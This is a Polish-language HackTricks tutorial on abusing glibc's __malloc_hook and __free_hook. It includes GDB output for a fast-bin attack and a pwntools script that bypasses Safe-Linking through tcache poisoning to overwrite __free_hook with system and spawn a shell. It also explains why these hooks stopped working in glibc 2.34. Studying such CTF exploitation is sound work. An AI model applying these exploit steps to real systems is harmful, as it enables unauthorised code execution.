WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Malloc Hook

Jak można zobaczyć na oficjalnej stronie GNU, zmienna __malloc_hook jest wskaźnikiem wskazującym na adres funkcji, która będzie wywoływana za każdym razem, gdy wywoływana jest malloc(), przechowywana w sekcji danych biblioteki libc. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez One Gadget, a malloc zostanie wywołane, One Gadget zostanie wywołany.

Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że libc` wywołuje malloc, aby je alokować w stercie.

Więcej informacji o One Gadget w:

One Gadget

warning

Zauważ, że haki są wyłączone dla GLIBC >= 2.34. Istnieją inne techniki, które można zastosować w nowoczesnych wersjach GLIBC. Zobacz: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

To zostało nadużyte w jednym z przykładów na stronie, nadużywając ataku na szybki bin po nadużyciu ataku na niesortowany bin:

Unsorted Bin Attack

Możliwe jest znalezienie adresu __free_hook, jeśli binarka ma symbole, używając następującego polecenia:

bash
gef➤  p &__free_hook

W poście znajdziesz przewodnik krok po kroku, jak zlokalizować adres hooka zwolnienia bez symboli. W skrócie, w funkcji free:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

W wspomnianym punkcie przerwania w powyższym kodzie w $eax znajdować się będzie adres hooka zwolnienia.

Teraz przeprowadzany jest atak na szybkie biny:

  • Po pierwsze odkryto, że możliwe jest operowanie na szybkich chunkach o rozmiarze 200 w lokalizacji __free_hook:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
  • W tym celu tworzony jest nowy chunk o rozmiarze 0xfc, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze 0xfc*2 = 0x1f8 w szybkim binie.
  • Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres fd tego szybkiego bina, aby wskazywał na poprzednią funkcję __free_hook.
  • Następnie tworzony jest chunk o rozmiarze 0x1f8, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze 0x1f8, aby uzyskać szybki chunk w __free_hook, który jest nadpisywany adresem funkcji system.
  • A na koniec chunk zawierający ciąg /bin/sh\x00 jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję __free_hook, która wskazuje na system z /bin/sh\x00 jako parametrem.

Zatrucie Tcache & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 wprowadził Safe-Linking – kontrolę integralności, która chroni pojedynczo powiązane listy używane przez tcache i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (fd), ptmalloc teraz przechowuje go z obfuskacją za pomocą następującego makra:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Konsekwencje dla eksploatacji:

  1. heap leak jest obowiązkowy – atakujący musi znać wartość czasu wykonywania chunk_addr >> 12, aby stworzyć ważny zafałszowany wskaźnik.
  2. Tylko pełny 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia.

Minimalny prymityw tcache-poisoning, który nadpisuje __free_hook w glibc 2.32/2.33, wygląda zatem następująco:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak UIUCTF 2024 – «Rusty Pointers» i openECSC 2023 – «Babyheap G», które polegały na obejściach Safe-Linking w celu nadpisania __free_hook.


Co zmieniło się w glibc ≥ 2.34?

Począwszy od glibc 2.34 (sierpień 2021), haki alokacji __malloc_hook, __realloc_hook, __memalign_hook i __free_hook zostały usunięte z publicznego API i nie są już wywoływane przez alokator. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na przepływ sterowania malloc() lub free().

Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do innych prymitywów przejęcia (IO-FILE, __run_exit_handlers, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić.

Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza libc_malloc_debug.so, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach.


Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks